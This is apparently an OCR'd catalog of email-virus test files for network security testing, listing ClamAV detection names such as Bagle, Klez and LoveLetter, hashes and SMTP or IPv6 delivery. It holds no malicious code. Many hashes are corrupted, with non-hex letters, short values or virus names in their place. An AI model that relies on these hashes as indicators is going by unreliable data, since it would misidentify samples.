Detailed Description:	This is the email virus Worm.Magistr.A.poly as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: a3804d2cdfdd2d44a6f3464d6457b9ca. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	VBS.SSIWG.924e0f24.xml
Executive Description:	Email Virus VBS.SSIWG
Detailed Description:	This is the email virus VBS.SSIWG as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 924e0f241f86c74200adic0d565a9810. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Horty.A.dda67ba3_IPv6.xml
Executive Description:	Email Virus Worm.Horty.A (IPv6 Version)
Detailed Description:	This is the email virus Worm.Horty.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: dda67ba3f4dcclfec7a3d7edd0c2649d. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.MyPics.a.17c633c1.xml
Executive Description:	Email Virus Worm.MyPics.a
Detailed Description:	This is the email virus Worm.MyPics.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 17c633c13c4b94499d0f987b674702b7. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.BAT.Krim.a.a.316113b7.xml
Executive Description:	Email Virus Email-Worm.BAT.Krim.a.a

Detailed Description:	This is the email virus Email-Worm.BAT.Krim.a.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.BAT.Krim.a.a. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Nooler.B.1bef08e1.xml
Executive Description:	Email Virus Worm.Nooler.B
Detailed Description:	This is the email virus Worm.Nooler.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 1bef08e1f6c64703a510190d464bf9a5. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Alcaul.ah.ah.22977b85_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Alcaul.ah.ah (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Alcaul.ah.ah as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Alcaul.ah.ah. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.VBS.Pahi.a.a.93e30cc0.xml
Executive Description:	Email Virus Email-Worm.VBS.Pahi.a.a
Detailed Description:	This is the email virus Email-Worm.VBS.Pahi.a.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.Pahi.a.a. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Postman.a2fb3b08_IPv6.xml
Executive Description:	Email Virus Worm.Postman (IPv6 Version)
Detailed Description:	This is the email virus Worm.Postman as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: a2fb3b084c896a0d2d1a6adff665f772. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Gibe.B.e932f86f.xml
Executive Description:	Email Virus Worm.Gibe.B
Detailed Description:	This is the email virus Worm.Gibe.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: e932f86fe47c694f0196edaab363e236. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.NHKR.b.565b3f57_IPv6.xml
Executive Description:	Email Virus Worm.NHKR.b (IPv6 Version)
Detailed Description:	This is the email virus Worm.NHKR.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 565b3f5732949bd76ad8c0438ca755b7. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	CIH.2.63b25949_IPv6.xml
Executive Description:	Email Virus CIH.2 (IPv6 Version)
Detailed Description:	This is the email virus CIH.2 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 63b25949593fc20a30c433e21d19ae78. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	VBS.Fireburn.54a600a6_IPv6.xml
Executive Description:	Email Virus VBS.Fireburn (IPv6 Version)
Detailed Description:	This is the email virus VBS.Fireburn as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 54a600a6efc06327151b3605baa73da9. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Dumaru.A.66ca6fb3.xml
Executive Description:	Email Virus Worm.Dumaru.A
Detailed Description:	This is the email virus Worm.Dumaru.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 66ca6fb3ad95dfe0e637d7d8da07fa20. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Bagle.Z.dd3da05f_IPv6.xml
Executive Description:	Email Virus Worm.Bagle.Z (IPv6 Version)
Detailed Description:	This is the email virus Worm.Bagle.Z as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: dd3da05fa8b73d3644039ec1bd990e54. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Bagle.src.bf63ff3a.xml

Executive Description:	Email Virus Worm.Bagle.src
Detailed Description:	This is the email virus Worm.Bagle.src as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: bf63ff3a093159e9ac81d60397f80478. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Lohack.a.6f6de9e7.xml
Executive Description:	Email Virus Worm.Lohack.a
Detailed Description:	This is the email virus Worm.Lohack.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 6f6de9e706c222e65202af17512f45da. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Menger.men.c9de93a6_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Menger.men (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Menger.men as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Menger.men. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Famster.c7a088c2.xml
Executive Description:	Email Virus Worm.Famster
Detailed Description:	This is the email virus Worm.Famster as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: c7a088c24b2fd20f7c05ba836a27f3ee. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Sonic.27.260dfd03_IPv6.xml
Executive Description:	Email Virus Worm.Sonic.27 (IPv6 Version)
Detailed Description:	This is the email virus Worm.Sonic.27 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 260dfd03e00784e9e83b59fb3d3ff15e. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Spth.Jsg.a.eecf3f3d.xml
Executive Description:	Email Virus Worm.Spth.Jsg.a
Detailed Description:	This is the email virus Worm.Spth.Jsg.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: eecf3f3da55eb69c9243af4d09b2a18e. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.MyPics.k.k.d669f879_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.MyPics.k.k (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.MyPics.k.k as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.MyPics.k.k. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Hunch.c.c.4fc73573.xml
Executive Description:	Email Virus Email-Worm.Win32.Hunch.c.c
Detailed Description:	This is the email virus Email-Worm.Win32.Hunch.c.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Hunch.c.c. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Trojan.VBS.Nightwish.A.b32e195b.xml
Executive Description:	Email Virus Trojan.VBS.Nightwish.A
Detailed Description:	This is the email virus Trojan.VBS.Nightwish.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: b32e195b77ac01e6c1be4ffd7ec9e144. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	W32.Magistr.A.9890349f.xml
Executive Description:	Email Virus W32.Magistr.A
Detailed Description:	This is the email virus W32.Magistr.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 9890349fe3c68f5923b29347bba021a4. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Breberka.77f8c8b1.xml
Executive Description:	Email Virus Worm.Breberka
Detailed Description:	This is the email virus Worm.Breberka as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 77f8c8b15c2e181ld5068d9f1c4857cc. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email

Threat File Name:	Email-Worm.DOS.Kondrik.n.n.7df75dlc_IPv6.xml
Executive Description:	Email Virus Email-Worm.DOS.Kondrik.n.n (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.DOS.Kondrik.n.n as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.DOS.Kondrik.n.n. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Bagle.AC.d7df9ba6_IPv6.xml
Executive Description:	Email Virus Worm.Bagle.AC (IPv6 Version)
Detailed Description:	This is the email virus Worm.Bagle.AC as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d7df9ba669116b1ea8fb5c600f048c94. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	VBS.SSIWG.97a21219.xml
Executive Description:	Email Virus VBS.SSIWG
Detailed Description:	This is the email virus VBS.SSIWG as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 97a2121937275c4dld95a615afa69b74. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Trojan.VBS.Flames.A.9e48c5dl.xml
Executive Description:	Email Virus Trojan.VBS.Flames.A
Detailed Description:	This is the email virus Trojan.VBS.Flames.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 9e48c5dl02f54ae642644eee3f330a43. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Trojan.Downloader.Small-165.2294002b.xml
Executive Description:	Email Virus Trojan.Downloader.Small-165
Detailed Description:	This is the email virus Trojan.Downloader.Small-165 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 2294002b6f23287ddb08502cefb6c6df. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Energy.C.d71b2d51.xml
Executive Description:	Email Virus Worm.Energy.C
Detailed Description:	This is the email virus Worm.Energy.C as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d71b2d515ac4b161bd5288ca824fe800. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Goofy.a440d4c7_IPv6.xml
Executive Description:	Email Virus Worm.Goofy (IPv6 Version)
Detailed Description:	This is the email virus Worm.Goofy as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: a440d4c778f8a81156deldlef5fb5ee6. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.VBS.Yumao.e4995453.xml
Executive Description:	Email Virus Worm.VBS.Yumao
Detailed Description:	This is the email virus Worm.VBS.Yumao as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: e49954531dcae4bdf84db0472e73198c. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Axam.b.1f1f49c4.xml
Executive Description:	Email Virus Worm.Axam.b
Detailed Description:	This is the email virus Worm.Axam.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 1f1f49c4e9228a208a3e5e47318139b9. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Anset.B.2cccfcd5.xml
Executive Description:	Email Virus Worm.Anset.B
Detailed Description:	This is the email virus Worm.Anset.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 2cccfcd577fac89ec3e8daca753cd5f7. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.DOS.Kondrik.d.d.4a01a7d0_IPv6.xml
Executive Description:	Email Virus Email-Worm.DOS.Kondrik.d.d (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.DOS.Kondrik.d.d as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.DOS.Kondrik.d.d. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email

Threat File Name:	Worm.Lohack.c.d1226adc.xml
Executive Description:	Email Virus Worm.Lohack.c
Detailed Description:	This is the email virus Worm.Lohack.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d1226adc7341182ald03bl7443cfc6bb. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Godog.b273839d.xml
Executive Description:	Email Virus Worm.Godog
Detailed Description:	This is the email virus Worm.Godog as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: b273839dbelee3bb4f6c3f0cb9b740bd. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Razac.A.10ce9a77_IPv6.xml
Executive Description:	Email Virus Worm.Razac.A (IPv6 Version)
Detailed Description:	This is the email virus Worm.Razac.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 10ce9a774daabf126eff86965eed3198. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Kazus.2.b0a2473e_IPv6.xml
Executive Description:	Email Virus Worm.Kazus.2 (IPv6 Version)
Detailed Description:	This is the email virus Worm.Kazus.2 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: b0a2473elc9a7083db4c9a586fc39a07. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.SomeFool.Gen-2.d4a36779_IPv6.xml
Executive Description:	Email Virus Worm.SomeFool.Gen-2 (IPv6 Version)
Detailed Description:	This is the email virus Worm.SomeFool.Gen-2 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d4a3677976b656aec6afcf2e03459a8d. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Timofonica.e9ab05c5.xml
Executive Description:	Email Virus Worm.Timofonica
Detailed Description:	This is the email virus Worm.Timofonica as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: e9ab05c5659af392771008bf061f0f5b. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Zooboo.0459a6fb_IPv6.xml
Executive Description:	Email Virus Worm.Zooboo (IPv6 Version)
Detailed Description:	This is the email virus Worm.Zooboo as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 0459a6fb7757714ba92c8a3fflebf05. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	BAT.Ioana.6d7e6413.xml
Executive Description:	Email Virus BAT.Ioana
Detailed Description:	This is the email virus BAT.Ioana as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 6d7e6413225afc7829231c7880c95371. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.SouthPark.ed49cba2_IPv6.xml
Executive Description:	Email Virus Worm.SouthPark (IPv6 Version)
Detailed Description:	This is the email virus Worm.SouthPark as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: ed49cba24b042d7bf2f5f2clcd572694. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.VBS.DragonBall.dra.924d895c.xml
Executive Description:	Email Virus Email-Worm.VBS.DragonBall.dra
Detailed Description:	This is the email virus Email-Worm.VBS.DragonBall.dra as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.DragonBall.dra. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Trojan.Downloader.Small-165.0c402e86.xml
Executive Description:	Email Virus Trojan.Downloader.Small-165
Detailed Description:	This is the email virus Trojan.Downloader.Small-165 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 0c402e86c12e519f41f2b6e0b77e1f60. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP

Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Predec.f.f.ef9cba45.xml
Executive Description:	Email Virus Email-Worm.Win32.Predec.f.f
Detailed Description:	This is the email virus Email-Worm.Win32.Predec.f.f as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Predec.f.f. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Apost.A.946f4b65_IPv6.xml
Executive Description:	Email Virus Worm.Apost.A (IPv6 Version)
Detailed Description:	This is the email virus Worm.Apost.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 946f4b65baff49e8dd6fd2a3abc43cc5. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	VBS.PicaWorm.D.0e882bb7_IPv6.xml
Executive Description:	Email Virus VBS.PicaWorm.D (IPv6 Version)
Detailed Description:	This is the email virus VBS.PicaWorm.D as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 0e882bb79c5797d83375ec37bdfdc7f. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	WScr.Unsafe.D.59400e67.xml
Executive Description:	Email Virus WScr.Unsafe.D
Detailed Description:	This is the email virus WScr.Unsafe.D as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 59400e67a27e113fb64b3d982bbb8269. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.SouthPark.ed49cba2.xml
Executive Description:	Email Virus Worm.SouthPark
Detailed Description:	This is the email virus Worm.SouthPark as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: ed49cba24b042d7bf2f5f2c1cd572694. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.LoveLetter.BK.461a2642.xml
Executive Description:	Email Virus Worm.LoveLetter.BK
Detailed Description:	This is the email virus Worm.LoveLetter.BK as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 461a26422bcf687478e816c9led2ad8a. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Godog.dd8725c2.xml
Executive Description:	Email Virus Worm.Godog
Detailed Description:	This is the email virus Worm.Godog as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: dd8725c2f23efd97b4d4e3618elb6b2c. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.VBS.Lipossa.a.a.fa7fcf99_IPv6.xml
Executive Description:	Email Virus Email-Worm.VBS.Lipossa.a.a (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.VBS.Lipossa.a.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.Lipossa.a.a. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.SomeFool.Gen-1.3d23ec8b_IPv6.xml
Executive Description:	Email Virus Worm.SomeFool.Gen-1 (IPv6 Version)
Detailed Description:	This is the email virus Worm.SomeFool.Gen-1 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 3d23ec8b55840b95ea75197ce9446b6d. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.MSWord.Macreg.mac.c747d0ed.xml
Executive Description:	Email Virus Email-Worm.MSWord.Macreg.mac
Detailed Description:	This is the email virus Email-Worm.MSWord.Macreg.mac as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.MSWord.Macreg.mac. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.SomeFool.AD.e355f889_IPv6.xml
Executive Description:	Email Virus Worm.SomeFool.AD (IPv6 Version)
Detailed Description:	This is the email virus Worm.SomeFool.AD as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: e355f8895da5c1de6d0251ad57b9dc70. This attack is delivered via SMTP to a email server. (IPv6 Version)

Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Godog.b647bbd3.xml
Executive Description:	Email Virus Worm.Godog
Detailed Description:	This is the email virus Worm.Godog as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: b647bbd3bd657ac87f52cdfa2ab2e1ed. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Godog.8f940828.xml
Executive Description:	Email Virus Worm.Godog
Detailed Description:	This is the email virus Worm.Godog as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 8f940828ab297b8d23d3050481ae456a. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	VBS.SST-A.3.cf8a94e9.xml
Executive Description:	Email Virus VBS.SST-A.3
Detailed Description:	This is the email virus VBS.SST-A.3 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: cf8a94e97b158e8447011188e93f21f5. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Lorda.64b1e500.xml
Executive Description:	Email Virus Worm.Lorda
Detailed Description:	This is the email virus Worm.Lorda as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 64b1e50059eb7cb4fc08c96d4f94ddab. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Jantic.jan.5fd9740a_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Jantic.jan (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Jantic.jan as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Jantic.jan. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Invalid.fedd478c.xml
Executive Description:	Email Virus Worm.Invalid
Detailed Description:	This is the email virus Worm.Invalid as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: fedd478cb5f29697f1ec12ced4bbff12. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Finaldo.b.b.a44e6de4_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Finaldo.b.b (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Finaldo.b.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Finaldo.b.b. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.LoveLetter.AJ.fd34b68a_IPv6.xml
Executive Description:	Email Virus Worm.LoveLetter.AJ (IPv6 Version)
Detailed Description:	This is the email virus Worm.LoveLetter.AJ as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: fd34b68aaf798a001cd6ea0d86a70954. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Klez.E.f4776425_IPv6.xml
Executive Description:	Email Virus Worm.Klez.E (IPv6 Version)
Detailed Description:	This is the email virus Worm.Klez.E as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: f477642546dd6689c82ac94f9fc759ed. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Nyxem.A.dfe59f12.xml
Executive Description:	Email Virus Worm.Nyxem.A
Detailed Description:	This is the email virus Worm.Nyxem.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: dfe59f129c800c2d343d23a2d7f0e596. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.VBS.Carnival.3483eedb_IPv6.xml
Executive Description:	Email Virus Worm.VBS.Carnival (IPv6 Version)

Detailed Description:	This is the email virus Worm.VBS.Carnival as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 3483eedb101448965a2765d8afb8ad98. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.MTX.plugin.Trojan.c4b35f89.xml
Executive Description:	Email Virus Worm.MTX.plugin.Trojan
Detailed Description:	This is the email virus Worm.MTX.plugin.Trojan as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: c4b35f89d87b2dbcd02f4d8e96d755ac. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Energy.B.aaa73660.xml
Executive Description:	Email Virus Worm.Energy.B
Detailed Description:	This is the email virus Worm.Energy.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: aaa73660bb157876f3fffe9d023197c6. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.JS.CoolNow.coo.b974199c_IPv6.xml
Executive Description:	Email Virus Email-Worm.JS.CoolNow.coo (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.JS.CoolNow.coo as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.JS.CoolNow.coo. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Headline.38c404b6_IPv6.xml
Executive Description:	Email Virus Worm.Headline (IPv6 Version)
Detailed Description:	This is the email virus Worm.Headline as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 38c404b63280b6b3ea51a96ece0f4d01. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	W32.Hybris.C.ab4ac052_IPv6.xml
Executive Description:	Email Virus W32.Hybris.C (IPv6 Version)
Detailed Description:	This is the email virus W32.Hybris.C as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: ab4ac05206c649048c74da60ffaec89. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	VBS.Alicia.A.b99162cb.xml
Executive Description:	Email Virus VBS.Alicia.A
Detailed Description:	This is the email virus VBS.Alicia.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: b99162cb3be77e55f10cb5d494a2178c. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Bagle.AI.dc44c93d.xml
Executive Description:	Email Virus Worm.Bagle.AI
Detailed Description:	This is the email virus Worm.Bagle.AI as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: dc44c93d5a73c01ccf90bae58bb13033. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.LoveLetter.AV.fb898bd3_IPv6.xml
Executive Description:	Email Virus Worm.LoveLetter.AV (IPv6 Version)
Detailed Description:	This is the email virus Worm.LoveLetter.AV as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: fb898bd3b632f2d439d0acbe59dbeee2. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Bat.Bomgen.6d9ae551_IPv6.xml
Executive Description:	Email Virus Bat.Bomgen (IPv6 Version)
Detailed Description:	This is the email virus Bat.Bomgen as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 6d9ae55160863a46cdb5c6d57f186fd7. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Silly.a.a.d105fadd.xml
